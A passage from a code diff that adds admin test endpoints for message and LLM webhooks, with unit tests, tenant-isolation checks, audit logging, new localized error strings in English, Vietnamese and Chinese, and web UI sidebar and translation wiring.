&store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "message"} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + // msgTester left nil → message test must be rejected. + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"chat_id": "123", "content": "hi"}, ctx) + if w.Code != http.StatusForbidden { + t.Fatalf("nil msgTester must be 403, got %d", w.Code) + } +} + +func TestWebhookAdmin_Test_Message_Success(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "message"} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + msg := &stubMsgTester{resp: &webhookMessageResp{CallID: "c1", Status: "sent", ChannelName: "tg", ChatID: "123"}} + h.msgTester = msg + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"channel_name": "tg", "chat_id": "123", "content": "hi"}, ctx) + if w.Code != http.StatusOK { + t.Fatalf("want 200, got %d: %s", w.Code, w.Body.String()) + } + if !msg.invoked { + t.Fatal("msg tester not invoked") + } +} + +func TestWebhookAdmin_Test_Message_MissingChannelName(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "message"} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + msg := &stubMsgTester{resp: &webhookMessageResp{CallID: "c1", Status: "sent", ChannelName: "tg", ChatID: "123"}} + h.msgTester = msg + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"chat_id": "123", "content": "hi"}, ctx) + if w.Code != http.StatusBadRequest { + t.Fatalf("missing channel_name must be 400, got %d", w.Code) + } + if msg.invoked { + t.Fatal("msg tester must not run when channel_name is missing") + } +} + +func TestWebhookAdmin_Test_Message_MissingContent(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "message"} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + msg := &stubMsgTester{resp: &webhookMessageResp{CallID: "c1", Status: "sent", ChannelName: "tg", ChatID: "123"}} + h.msgTester = msg + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"channel_name": "tg", "chat_id": "123"}, ctx) + if w.Code != http.StatusBadRequest { + t.Fatalf("missing content must be 400, got %d", w.Code) + } + if msg.invoked { + t.Fatal("msg tester must not run when content is missing") + } +} + +func TestWebhookAdmin_Test_Revoked409(t *testing.T) { + tid := uuid.New() + agentID := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm", AgentID: &agentID, Revoked: true} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + h.llmTester = &stubLLMTester{} + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"input": "x"}, ctx) + if w.Code != http.StatusConflict { + t.Fatalf("revoked webhook test must be 409, got %d", w.Code) + } +} diff --git a/internal/http/webhooks_admin_test.go b/internal/http/webhooks_admin_test.go index dcb92c25..b3839c89 100644 --- a/internal/http/webhooks_admin_test.go +++ b/internal/http/webhooks_admin_test.go @@ -222,7 +222,7 @@ func webhookTenantCtxWithRole(tenantID uuid.UUID, userID, role string) context.C const testAdminEncKey = "00000000000000000000000000000000" func newAdminHandler(ws *adminWebhookStore, ts *adminTenantStore) *WebhooksAdminHandler { - h := NewWebhooksAdminHandler(ws, ts, nil) + h := NewWebhooksAdminHandler(ws, nil, ts, nil) h.SetEncKey(testAdminEncKey) // required since K6 guard rejects empty encKey return h } diff --git a/internal/http/webhooks_llm.go b/internal/http/webhooks_llm.go index 86026dff..d76461bf 100644 --- a/internal/http/webhooks_llm.go +++ b/internal/http/webhooks_llm.go @@ -511,6 +511,137 @@ func (h *WebhookLLMHandler) handleAsync( }) } +// RunTest performs a synchronous test invocation of an llm-kind webhook on behalf of an +// admin (POST /v1/webhooks/{id}/test). The caller (WebhooksAdminHandler) has already +// authorized the request and verified webhook ownership — no webhook secret is involved. +// It resolves the bound agent, runs it within the standard sync timeout, writes an audit +// row (mode=sync), and returns the response. Errors are returned (not written to HTTP). +func (h *WebhookLLMHandler) RunTest(ctx context.Context, wh *store.WebhookData, input, model string) (*webhookLLMSyncResp, error) { + if wh == nil || wh.AgentID == nil { + return nil, errors.New("webhook has no bound agent") + } + agentID := wh.AgentID.String() + + ag, agErr := h.agentRouter.Get(ctx, agentID) + if agErr != nil { + return nil, fmt.Errorf("agent not found: %w", agErr) + } + // P0 cross-tenant isolation: agent must belong to webhook's tenant. + if ag.UUID() != *wh.AgentID { + slog.Warn("security.webhook.tenant_mismatch", "webhook_id", wh.ID, "webhook_tenant", wh.TenantID, "agent_id", agentID) + return nil, errors.New("agent tenant mismatch") + } + + callID := store.GenNewID() + deliveryID := store.GenNewID() + now := time.Now() + runID := uuid.NewString() + sessionKey := resolveWebhookSessionKey("", agentID, wh.ID, runID) + + requestPayload, _ := buildAuditPayload(nil, map[string]any{"test": true, "input_len": len(input)}) + callRecord := &store.WebhookCallData{ + ID: callID, + TenantID: wh.TenantID, + WebhookID: wh.ID, + AgentID: wh.AgentID, + DeliveryID: deliveryID, + Mode: "sync", + Status: "running", + RequestPayload: requestPayload, + CreatedAt: now, + StartedAt: &now, + } + + rr := agent.RunRequest{ + SessionKey: sessionKey, + Message: input, + Channel: "webhook", + ChatID: wh.ID.String(), + RunID: runID, + Stream: false, + ModelOverride: model, + TraceName: "webhook.llm.test", + TraceTags: []string{"webhook", "test"}, + } + + timeout := webhookLLMTimeout + if h.syncTimeout > 0 { + timeout = h.syncTimeout + } + + type runOutcome struct { + result *agent.RunResult + err error + } + outCh := make(chan runOutcome, 1) + + laneCtx, laneCancel := context.WithTimeout(ctx, timeout) + defer laneCancel() + + submitErr := h.lane.Submit(laneCtx, func() { + runCtx, runCancel := context.WithTimeout(context.WithoutCancel(ctx), timeout) + defer runCancel() + result, err := ag.Run(runCtx, rr) + outCh <- runOutcome{result: result, err: err} + }) + if submitErr != nil { + completedAt := time.Now() + errMsg := submitErr.Error() + callRecord.Status = "failed" + callRecord.Attempts = 1 + callRecord.CompletedAt = &completedAt + callRecord.LastError = &errMsg + persistWebhookCall(ctx, h.callStore, callRecord, false, "webhook.llm.test_audit_write_failed") + return nil, fmt.Errorf("webhook lane saturated: %w", submitErr) + } + + var out runOutcome + select { + case out = <-outCh: + case <-laneCtx.Done(): + out = runOutcome{err: context.DeadlineExceeded} + } + + if out.err != nil { + completedAt := time.Now() + errMsg := out.err.Error() + callRecord.Status = "failed" + callRecord.Attempts = 1 + callRecord.CompletedAt = &completedAt + callRecord.LastError = &errMsg + persistWebhookCall(ctx, h.callStore, callRecord, false, "webhook.llm.test_audit_write_failed") + return nil, out.err + } + + resp := &webhookLLMSyncResp{ + CallID: callID.String(), + AgentID: agentID, + Output: out.result.Content, + FinishReason: "stop", + } + if out.result.Usage != nil { + resp.Usage = &webhookLLMUsage{ + PromptTokens: out.result.Usage.PromptTokens, + CompletionTokens: out.result.Usage.CompletionTokens, + TotalTokens: out.result.Usage.TotalTokens, + } + } + + respBytes, _ := json.Marshal(resp) + if len(respBytes) > webhookLLMResponseTruncate { + respBytes = respBytes[:webhookLLMResponseTruncate] + } + completedAt := time.Now() + callRecord.Status = "done" + callRecord.Attempts = 1 + callRecord.Response = respBytes + callRecord.CompletedAt = &completedAt + persistWebhookCall(ctx, h.callStore, callRecord, false, "webhook.llm.test_audit_write_failed") + + slog.Info("webhook.llm.test", "call_id", callID, "agent_id", agentID, "webhook_id", wh.ID, "output_len", len(out.result.Content)) + return resp, nil +} + // buildInput parses the raw JSON input into a user message and optional extra system prompt. // // Two formats are accepted: diff --git a/internal/http/webhooks_message.go b/internal/http/webhooks_message.go index 130b8f02..8b076027 100644 --- a/internal/http/webhooks_message.go +++ b/internal/http/webhooks_message.go @@ -203,6 +203,129 @@ func (h *WebhookMessageHandler) handle(w http.ResponseWriter, r *http.Request) { writeJSON(w, http.StatusOK, respBody) } +// RunTest performs a test message send for a message-kind webhook on behalf of an admin +// (POST /v1/webhooks/{id}/test). The caller has already authorized + verified ownership. +// It resolves + tenant-validates the channel, sends the message (real side effect), writes +// an audit row (mode=sync), and returns the response. Errors are returned (not written to HTTP). +func (h *WebhookMessageHandler) RunTest(ctx context.Context, wh *store.WebhookData, req webhookMessageReq) (*webhookMessageResp, error) { + if wh == nil { + return nil, errors.New("webhook missing") + } + + // Resolve channel: bound channel_id takes precedence over request channel_name. + var channelName string + if wh.ChannelID != nil { + inst, err := h.channelInstances.Get(ctx, *wh.ChannelID) + if err != nil || inst == nil { + return nil, errors.New("bound channel not found") + } + channelName = inst.Name + } else { + if req.ChannelName == "" { + return nil, errors.New("channel_name required") + } + channelName = req.ChannelName + } + + // P0 cross-tenant isolation: channel must belong to webhook's tenant. + channelTenantID, exists := h.channelMgr.ChannelTenantID(channelName) + if !exists { + return nil, errors.New("channel not found") + } + if channelTenantID != uuid.Nil && channelTenantID != wh.TenantID { + slog.Warn("security.webhook.tenant_leak_attempt", "webhook_id", wh.ID, "webhook_tenant", wh.TenantID, + "channel_name", channelName, "channel_tenant", channelTenantID) + return nil, errors.New("channel tenant mismatch") + } + + if req.ChatID == "" { + return nil, errors.New("chat_id required") + } + if req.Content == "" && req.MediaURL == "" { + return nil, errors.New("content or media_url required") + } + if len(req.Content) > webhookContentMaxBytes { + return nil, errors.New("content exceeds 16 KB limit") + } + + callID := store.GenNewID() + deliveryID := store.GenNewID() + now := time.Now() + requestPayload, _ := buildAuditPayload(nil, map[string]any{ + "test": true, "channel_name": channelName, "chat_id": req.ChatID, "has_media": req.MediaURL != "", + }) + callRecord := &store.WebhookCallData{ + ID: callID, + TenantID: wh.TenantID, + WebhookID: wh.ID, + AgentID: wh.AgentID, + DeliveryID: deliveryID, + Mode: "sync", + Status: "running", + StartedAt: &now, + RequestPayload: requestPayload, + CreatedAt: now, + } + + warning, sendErr := h.dispatchTest(ctx, wh, req, channelName) + if sendErr != nil { + h.failCall(ctx, callRecord, false, sendErr.Error()) + return nil, sendErr + } + + completedAt := time.Now() + callRecord.Status = "done" + callRecord.CompletedAt = &completedAt + callRecord.Attempts = 1 + resp := &webhookMessageResp{ + CallID: callID.String(), + Status: "sent", + ChannelName: channelName, + ChatID: req.ChatID, + Warning: warning, + } + respBytes, _ := json.Marshal(resp) + callRecord.Response = respBytes + persistWebhookCall(ctx, h.callStore, callRecord, false, "webhook.message.test_audit_write_failed") + + slog.Info("webhook.message.test", "tenant_id", wh.TenantID, "webhook_id", wh.ID, + "channel", channelName, "chat_id", req.ChatID, "has_media", req.MediaURL != "") + return resp, nil +} + +// dispatchTest sends a test message (text or media) and returns (warning, error). +// Mirrors dispatch but returns errors instead of writing HTTP responses. +func (h *WebhookMessageHandler) dispatchTest(ctx context.Context, wh *store.WebhookData, req webhookMessageReq, channelName string) (string, error) { + if req.MediaURL == "" { + if err := h.channelMgr.SendToChannel(ctx, channelName, req.ChatID, req.Content); err != nil { + return "", err + } + return "", nil + } + + probe, probeErr := probeMediaURL(req.MediaURL) + if probeErr != nil { + return "", probeErr + } + + channelType := h.channelMgr.ChannelTypeForName(channelName) + if channels.IsMediaCapable(channelType) { + media := []bus.MediaAttachment{{URL: req.MediaURL, ContentType: probe.ContentType, Caption: req.MediaCaption}} + if err := h.channelMgr.SendMediaToChannel(ctx, channelName, req.ChatID, req.Content, media); err != nil { + return "", err + } + return "", nil + } + + if req.FallbackToText { + if err := h.channelMgr.SendToChannel(ctx, channelName, req.ChatID, req.Content); err != nil { + return "", err + } + return "media_not_supported_fallback_text", nil + } + return "", errors.New("channel does not support media and fallback_to_text is false") +} + // dispatch sends the message (media or text) to the channel. // Returns (warning string, error). On non-nil error the response was already written. func (h *WebhookMessageHandler) dispatch( diff --git a/internal/i18n/catalog_en.go b/internal/i18n/catalog_en.go index aaff377e..4b23d749 100644 --- a/internal/i18n/catalog_en.go +++ b/internal/i18n/catalog_en.go @@ -267,28 +267,29 @@ func init() { MsgBackendNotReady: "workstation backend not ready: %s", // Webhooks - MsgWebhookAuthFailed: "webhook authentication failed", - MsgWebhookHMACInvalid: "HMAC signature is invalid", - MsgWebhookHMACTimestampSkew: "request timestamp outside acceptable window", - MsgWebhookBearerRequiredHMAC: "this webhook requires HMAC authentication", - MsgWebhookRevoked: "webhook has been revoked", - MsgWebhookKindMismatch: "request kind does not match webhook configuration", - MsgWebhookRateLimited: "webhook rate limit exceeded", - MsgWebhookBodyTooLarge: "request body exceeds size limit", - MsgWebhookIdempotencyConflict: "idempotency key conflict: request body mismatch", - MsgWebhookTenantMismatch: "webhook tenant mismatch", - MsgWebhookAgentNotFound: "webhook agent not found", - MsgWebhookChannelNotFound: "webhook channel not found", - MsgWebhookMediaSSRFBlocked: "media URL blocked by SSRF policy", - MsgWebhookMediaTooLarge: "media file exceeds size limit", - MsgWebhookMediaMIMEDenied: "media MIME type is not allowed", - MsgWebhookCallbackURLInvalid: "callback URL is invalid or blocked", - MsgWebhookLLMTimeout: "LLM processing timed out", - MsgWebhookLaneSaturated: "webhook processing lane is at capacity", - MsgWebhookLocalhostOnlyViolation: "this webhook is restricted to localhost callers", - MsgWebhookMediaChannelUnsupported: "channel does not support media attachments", - MsgWebhookIPDenied: "request origin is not in the IP allowlist", - MsgWebhookEncryptionUnavailable: "webhook encryption key not configured; set GOCLAW_ENCRYPTION_KEY to enable webhooks", + MsgWebhookAuthFailed: "webhook authentication failed", + MsgWebhookHMACInvalid: "HMAC signature is invalid", + MsgWebhookHMACTimestampSkew: "request timestamp outside acceptable window", + MsgWebhookBearerRequiredHMAC: "this webhook requires HMAC authentication", + MsgWebhookRevoked: "webhook has been revoked", + MsgWebhookKindMismatch: "request kind does not match webhook configuration", + MsgWebhookRateLimited: "webhook rate limit exceeded", + MsgWebhookBodyTooLarge: "request body exceeds size limit", + MsgWebhookIdempotencyConflict: "idempotency key conflict: request body mismatch", + MsgWebhookTenantMismatch: "webhook tenant mismatch", + MsgWebhookAgentNotFound: "webhook agent not found", + MsgWebhookChannelNotFound: "webhook channel not found", + MsgWebhookMediaSSRFBlocked: "media URL blocked by SSRF policy", + MsgWebhookMediaTooLarge: "media file exceeds size limit", + MsgWebhookMediaMIMEDenied: "media MIME type is not allowed", + MsgWebhookCallbackURLInvalid: "callback URL is invalid or blocked", + MsgWebhookLLMTimeout: "LLM processing timed out", + MsgWebhookLaneSaturated: "webhook processing lane is at capacity", + MsgWebhookLocalhostOnlyViolation: "this webhook is restricted to localhost callers", + MsgWebhookMediaChannelUnsupported: "channel does not support media attachments", + MsgWebhookIPDenied: "request origin is not in the IP allowlist", + MsgWebhookEncryptionUnavailable: "webhook encryption key not configured; set GOCLAW_ENCRYPTION_KEY to enable webhooks", + MsgWebhookMessageTestRequiresStandard: "testing message webhooks requires Standard edition", // Hooks MsgHookInvalidMatcher: "invalid matcher regex: %s", diff --git a/internal/i18n/catalog_vi.go b/internal/i18n/catalog_vi.go index a29f9a8c..64297589 100644 --- a/internal/i18n/catalog_vi.go +++ b/internal/i18n/catalog_vi.go @@ -257,28 +257,29 @@ func init() { MsgVoiceMessageFallback: "[Tin nhắn thoại]", // Webhooks - MsgWebhookAuthFailed: "xác thực webhook thất bại", - MsgWebhookHMACInvalid: "chữ ký HMAC không hợp lệ", - MsgWebhookHMACTimestampSkew: "thời gian yêu cầu nằm ngoài cửa sổ chấp nhận", - MsgWebhookBearerRequiredHMAC: "webhook này yêu cầu xác thực HMAC", - MsgWebhookRevoked: "webhook đã bị thu hồi", - MsgWebhookKindMismatch: "loại yêu cầu không khớp cấu hình webhook", - MsgWebhookRateLimited: "vượt quá giới hạn tốc độ webhook", - MsgWebhookBodyTooLarge: "nội dung yêu cầu vượt quá giới hạn kích thước", - MsgWebhookIdempotencyConflict: "xung đột idempotency key: nội dung yêu cầu không khớp", - MsgWebhookTenantMismatch: "tenant của webhook không khớp", - MsgWebhookAgentNotFound: "không tìm thấy agent webhook", - MsgWebhookChannelNotFound: "không tìm thấy kênh webhook", - MsgWebhookMediaSSRFBlocked: "URL media bị chặn bởi chính sách SSRF", - MsgWebhookMediaTooLarge: "tệp media vượt quá giới hạn kích thước", - MsgWebhookMediaMIMEDenied: "loại MIME của media không được phép", - MsgWebhookCallbackURLInvalid: "URL callback không hợp lệ hoặc bị chặn", - MsgWebhookLLMTimeout: "LLM xử lý hết thời gian chờ", - MsgWebhookLaneSaturated: "làn xử lý webhook đã đầy", - MsgWebhookLocalhostOnlyViolation: "webhook này chỉ cho phép gọi từ localhost", - MsgWebhookMediaChannelUnsupported: "kênh không hỗ trợ tệp đính kèm media", - MsgWebhookIPDenied: "địa chỉ IP không nằm trong danh sách cho phép", - MsgWebhookEncryptionUnavailable: "khóa mã hóa webhook chưa được cấu hình; hãy đặt GOCLAW_ENCRYPTION_KEY để kích hoạt webhook", + MsgWebhookAuthFailed: "xác thực webhook thất bại", + MsgWebhookHMACInvalid: "chữ ký HMAC không hợp lệ", + MsgWebhookHMACTimestampSkew: "thời gian yêu cầu nằm ngoài cửa sổ chấp nhận", + MsgWebhookBearerRequiredHMAC: "webhook này yêu cầu xác thực HMAC", + MsgWebhookRevoked: "webhook đã bị thu hồi", + MsgWebhookKindMismatch: "loại yêu cầu không khớp cấu hình webhook", + MsgWebhookRateLimited: "vượt quá giới hạn tốc độ webhook", + MsgWebhookBodyTooLarge: "nội dung yêu cầu vượt quá giới hạn kích thước", + MsgWebhookIdempotencyConflict: "xung đột idempotency key: nội dung yêu cầu không khớp", + MsgWebhookTenantMismatch: "tenant của webhook không khớp", + MsgWebhookAgentNotFound: "không tìm thấy agent webhook", + MsgWebhookChannelNotFound: "không tìm thấy kênh webhook", + MsgWebhookMediaSSRFBlocked: "URL media bị chặn bởi chính sách SSRF", + MsgWebhookMediaTooLarge: "tệp media vượt quá giới hạn kích thước", + MsgWebhookMediaMIMEDenied: "loại MIME của media không được phép", + MsgWebhookCallbackURLInvalid: "URL callback không hợp lệ hoặc bị chặn", + MsgWebhookLLMTimeout: "LLM xử lý hết thời gian chờ", + MsgWebhookLaneSaturated: "làn xử lý webhook đã đầy", + MsgWebhookLocalhostOnlyViolation: "webhook này chỉ cho phép gọi từ localhost", + MsgWebhookMediaChannelUnsupported: "kênh không hỗ trợ tệp đính kèm media", + MsgWebhookIPDenied: "địa chỉ IP không nằm trong danh sách cho phép", + MsgWebhookEncryptionUnavailable: "khóa mã hóa webhook chưa được cấu hình; hãy đặt GOCLAW_ENCRYPTION_KEY để kích hoạt webhook", + MsgWebhookMessageTestRequiresStandard: "kiểm thử webhook loại message yêu cầu bản Standard", // Hooks // Workstation diff --git a/internal/i18n/catalog_zh.go b/internal/i18n/catalog_zh.go index 0a88c95e..8c4104bb 100644 --- a/internal/i18n/catalog_zh.go +++ b/internal/i18n/catalog_zh.go @@ -257,28 +257,29 @@ func init() { MsgVoiceMessageFallback: "[语音消息]", // Webhooks - MsgWebhookAuthFailed: "Webhook 身份验证失败", - MsgWebhookHMACInvalid: "HMAC 签名无效", - MsgWebhookHMACTimestampSkew: "请求时间戳超出可接受窗口", - MsgWebhookBearerRequiredHMAC: "此 Webhook 需要 HMAC 身份验证", - MsgWebhookRevoked: "Webhook 已被撤销", - MsgWebhookKindMismatch: "请求类型与 Webhook 配置不匹配", - MsgWebhookRateLimited: "超出 Webhook 速率限制", - MsgWebhookBodyTooLarge: "请求正文超出大小限制", - MsgWebhookIdempotencyConflict: "幂等键冲突：请求正文不匹配", - MsgWebhookTenantMismatch: "Webhook 租户不匹配", - MsgWebhookAgentNotFound: "未找到 Webhook 代理", - MsgWebhookChannelNotFound: "未找到 Webhook 频道", - MsgWebhookMediaSSRFBlocked: "媒体 URL 被 SSRF 策略拦截", - MsgWebhookMediaTooLarge: "媒体文件超出大小限制", - MsgWebhookMediaMIMEDenied: "媒体 MIME 类型不被允许", - MsgWebhookCallbackURLInvalid: "回调 URL 无效或被拦截", - MsgWebhookLLMTimeout: "LLM 处理超时", - MsgWebhookLaneSaturated: "Webhook 处理通道已满", - MsgWebhookLocalhostOnlyViolation: "此 Webhook 仅限本地调用", - MsgWebhookMediaChannelUnsupported: "频道不支持媒体附件", - MsgWebhookIPDenied: "请求来源不在 IP 白名单中", - MsgWebhookEncryptionUnavailable: "Webhook 加密密钥未配置；请设置 GOCLAW_ENCRYPTION_KEY 以启用 Webhook", + MsgWebhookAuthFailed: "Webhook 身份验证失败", + MsgWebhookHMACInvalid: "HMAC 签名无效", + MsgWebhookHMACTimestampSkew: "请求时间戳超出可接受窗口", + MsgWebhookBearerRequiredHMAC: "此 Webhook 需要 HMAC 身份验证", + MsgWebhookRevoked: "Webhook 已被撤销", + MsgWebhookKindMismatch: "请求类型与 Webhook 配置不匹配", + MsgWebhookRateLimited: "超出 Webhook 速率限制", + MsgWebhookBodyTooLarge: "请求正文超出大小限制", + MsgWebhookIdempotencyConflict: "幂等键冲突：请求正文不匹配", + MsgWebhookTenantMismatch: "Webhook 租户不匹配", + MsgWebhookAgentNotFound: "未找到 Webhook 代理", + MsgWebhookChannelNotFound: "未找到 Webhook 频道", + MsgWebhookMediaSSRFBlocked: "媒体 URL 被 SSRF 策略拦截", + MsgWebhookMediaTooLarge: "媒体文件超出大小限制", + MsgWebhookMediaMIMEDenied: "媒体 MIME 类型不被允许", + MsgWebhookCallbackURLInvalid: "回调 URL 无效或被拦截", + MsgWebhookLLMTimeout: "LLM 处理超时", + MsgWebhookLaneSaturated: "Webhook 处理通道已满", + MsgWebhookLocalhostOnlyViolation: "此 Webhook 仅限本地调用", + MsgWebhookMediaChannelUnsupported: "频道不支持媒体附件", + MsgWebhookIPDenied: "请求来源不在 IP 白名单中", + MsgWebhookEncryptionUnavailable: "Webhook 加密密钥未配置；请设置 GOCLAW_ENCRYPTION_KEY 以启用 Webhook", + MsgWebhookMessageTestRequiresStandard: "测试 message 类型 Webhook 需要 Standard 版本", // Hooks // Workstation diff --git a/internal/i18n/keys.go b/internal/i18n/keys.go index 2dc8083a..2a3fe08e 100644 --- a/internal/i18n/keys.go +++ b/internal/i18n/keys.go @@ -300,28 +300,29 @@ const ( MsgTenantScopeRequired = "error.tenant_scope_required" // "tenant scope is required for this operation" // --- Webhooks --- - MsgWebhookAuthFailed = "webhook.auth_failed" // "webhook authentication failed" - MsgWebhookHMACInvalid = "webhook.hmac_invalid" // "HMAC signature is invalid" - MsgWebhookHMACTimestampSkew = "webhook.hmac_timestamp_skew" // "request timestamp outside acceptable window" - MsgWebhookBearerRequiredHMAC = "webhook.bearer_required_hmac" // "this webhook requires HMAC authentication" - MsgWebhookRevoked = "webhook.revoked" // "webhook has been revoked" - MsgWebhookKindMismatch = "webhook.kind_mismatch" // "request kind does not match webhook configuration" - MsgWebhookRateLimited = "webhook.rate_limited" // "webhook rate limit exceeded" - MsgWebhookBodyTooLarge = "webhook.body_too_large" // "request body exceeds size limit" - MsgWebhookIdempotencyConflict = "webhook.idempotency_conflict" // "idempotency key conflict: request body mismatch" - MsgWebhookTenantMismatch = "webhook.tenant_mismatch" // "webhook tenant mismatch" - MsgWebhookAgentNotFound = "webhook.agent_not_found" // "webhook agent not found" - MsgWebhookChannelNotFound = "webhook.channel_not_found" // "webhook channel not found" - MsgWebhookMediaSSRFBlocked = "webhook.media_ssrf_blocked" // "media URL blocked by SSRF policy" - MsgWebhookMediaTooLarge = "webhook.media_too_large" // "media file exceeds size limit" - MsgWebhookMediaMIMEDenied = "webhook.media_mime_denied" // "media MIME type is not allowed" - MsgWebhookCallbackURLInvalid = "webhook.callback_url_invalid" // "callback URL is invalid or blocked" - MsgWebhookLLMTimeout = "webhook.llm_timeout" // "LLM processing timed out" - MsgWebhookLaneSaturated = "webhook.lane_saturated" // "webhook processing lane is at capacity" - MsgWebhookLocalhostOnlyViolation = "webhook.localhost_only_violation" // "this webhook is restricted to localhost callers" - MsgWebhookMediaChannelUnsupported = "webhook.media_channel_unsupported" // "channel does not support media attachments" - MsgWebhookIPDenied = "webhook.ip_denied" // "request origin is not in the IP allowlist" - MsgWebhookEncryptionUnavailable = "webhook.encryption_unavailable" // "webhook encryption key not configured; set GOCLAW_ENCRYPTION_KEY to enable webhooks" + MsgWebhookAuthFailed = "webhook.auth_failed" // "webhook authentication failed" + MsgWebhookHMACInvalid = "webhook.hmac_invalid" // "HMAC signature is invalid" + MsgWebhookHMACTimestampSkew = "webhook.hmac_timestamp_skew" // "request timestamp outside acceptable window" + MsgWebhookBearerRequiredHMAC = "webhook.bearer_required_hmac" // "this webhook requires HMAC authentication" + MsgWebhookRevoked = "webhook.revoked" // "webhook has been revoked" + MsgWebhookKindMismatch = "webhook.kind_mismatch" // "request kind does not match webhook configuration" + MsgWebhookRateLimited = "webhook.rate_limited" // "webhook rate limit exceeded" + MsgWebhookBodyTooLarge = "webhook.body_too_large" // "request body exceeds size limit" + MsgWebhookIdempotencyConflict = "webhook.idempotency_conflict" // "idempotency key conflict: request body mismatch" + MsgWebhookTenantMismatch = "webhook.tenant_mismatch" // "webhook tenant mismatch" + MsgWebhookAgentNotFound = "webhook.agent_not_found" // "webhook agent not found" + MsgWebhookChannelNotFound = "webhook.channel_not_found" // "webhook channel not found" + MsgWebhookMediaSSRFBlocked = "webhook.media_ssrf_blocked" // "media URL blocked by SSRF policy" + MsgWebhookMediaTooLarge = "webhook.media_too_large" // "media file exceeds size limit" + MsgWebhookMediaMIMEDenied = "webhook.media_mime_denied" // "media MIME type is not allowed" + MsgWebhookCallbackURLInvalid = "webhook.callback_url_invalid" // "callback URL is invalid or blocked" + MsgWebhookLLMTimeout = "webhook.llm_timeout" // "LLM processing timed out" + MsgWebhookLaneSaturated = "webhook.lane_saturated" // "webhook processing lane is at capacity" + MsgWebhookLocalhostOnlyViolation = "webhook.localhost_only_violation" // "this webhook is restricted to localhost callers" + MsgWebhookMediaChannelUnsupported = "webhook.media_channel_unsupported" // "channel does not support media attachments" + MsgWebhookIPDenied = "webhook.ip_denied" // "request origin is not in the IP allowlist" + MsgWebhookEncryptionUnavailable = "webhook.encryption_unavailable" // "webhook encryption key not configured; set GOCLAW_ENCRYPTION_KEY to enable webhooks" + MsgWebhookMessageTestRequiresStandard = "webhook.message_test_requires_standard" // "testing message webhooks requires Standard edition" // --- Workstation permissions --- MsgWorkstationCmdDenied = "error.workstation_cmd_denied" // "command denied by workstation policy: %s" diff --git a/ui/web/src/components/layout/sidebar.tsx b/ui/web/src/components/layout/sidebar.tsx index 4a61f330..3a196df0 100644 --- a/ui/web/src/components/layout/sidebar.tsx +++ b/ui/web/src/components/layout/sidebar.tsx @@ -30,6 +30,7 @@ import { FileArchive, DatabaseBackup, Webhook, + Cable, MonitorCog, } from "lucide-react"; import { useTranslation } from "react-i18next"; @@ -99,6 +100,9 @@ export function Sidebar({ collapsed, onNavItemClick }: SidebarProps) { + {isAdmin && ( + + )} {isAdmin && ( diff --git a/ui/web/src/i18n/index.ts b/ui/web/src/i18n/index.ts index 0f031fc1..50ddcaf2 100644 --- a/ui/web/src/i18n/index.ts +++ b/ui/web/src/i18n/index.ts @@ -41,6 +41,7 @@ import enImportExport from "./locales/en/import-export.json"; import enV3Capabilities from "./locales/en/v3-capabilities.json"; import enBackup from "./locales/en/backup.json"; import enHooks from "./locales/en/hooks.json"; +import enWebhooks from "./locales/en/webhooks.json"; import enWorkstations from "./locales/en/workstations.json"; // --- VI namespaces --- @@ -83,6 +84,7 @@ import viImportExport from "./locales/vi/import-export.json"; import viV3Capabilities from "./locales/vi/v3-capabilities.json"; import viBackup from "./locales/vi/backup.json"; import viHooks from "./locales/vi/hooks.json"; +import viWebhooks from "./locales/vi/webhooks.json"; import viWorkstations from "./locales/vi/workstations.json"; // --- ZH namespaces --- @@ -125,6 +127,7 @@ import zhImportExport from "./locales/zh/import-export.json"; import zhV3Capabilities from "./locales/zh/v3-capabilities.json"; import zhBackup from "./locales/zh/backup.json"; import zhHooks from "./locales/zh/hooks.json"; +import zhWebhooks from "./locales/zh/webhooks.json"; import zhWorkstations from "./locales/zh/workstations.json"; const STORAGE_KEY = "goclaw:language"; @@ -148,6 +151,7 @@ const ns = [ "v3-capabilities", "backup", "hooks", + "webhooks", "workstations", ] as const; @@ -171,6 +175,7 @@ i18n.use(initReactI18next).init({ "v3-capabilities": enV3Capabilities, backup: enBackup, hooks: enHooks, + webhooks: enWebhooks, workstations: enWorkstations, }, vi: { @@ -191,6 +196,7 @@ i18n.use(initReactI18next).init({ "v3-capabilities": viV3Capabilities, backup: viBackup, hooks: viHooks, + webhooks: viWebhooks, workstations: viWorkstations, }, zh: { @@ -211,6 +217,7 @@ i18n.use(initReactI18next).init({ "v3-capabilities": zhV3Capabilities, backup: zhBackup, hooks: zhHooks, + webhooks: zhWebhooks, workstations: zhWorkstations, }, }, diff --git a/ui/web/src/i18n/locales/en/sidebar.json b/ui/web/src/i18n/locales/en/sidebar.json index 98b6848d..0ad2e85d 100644 --- 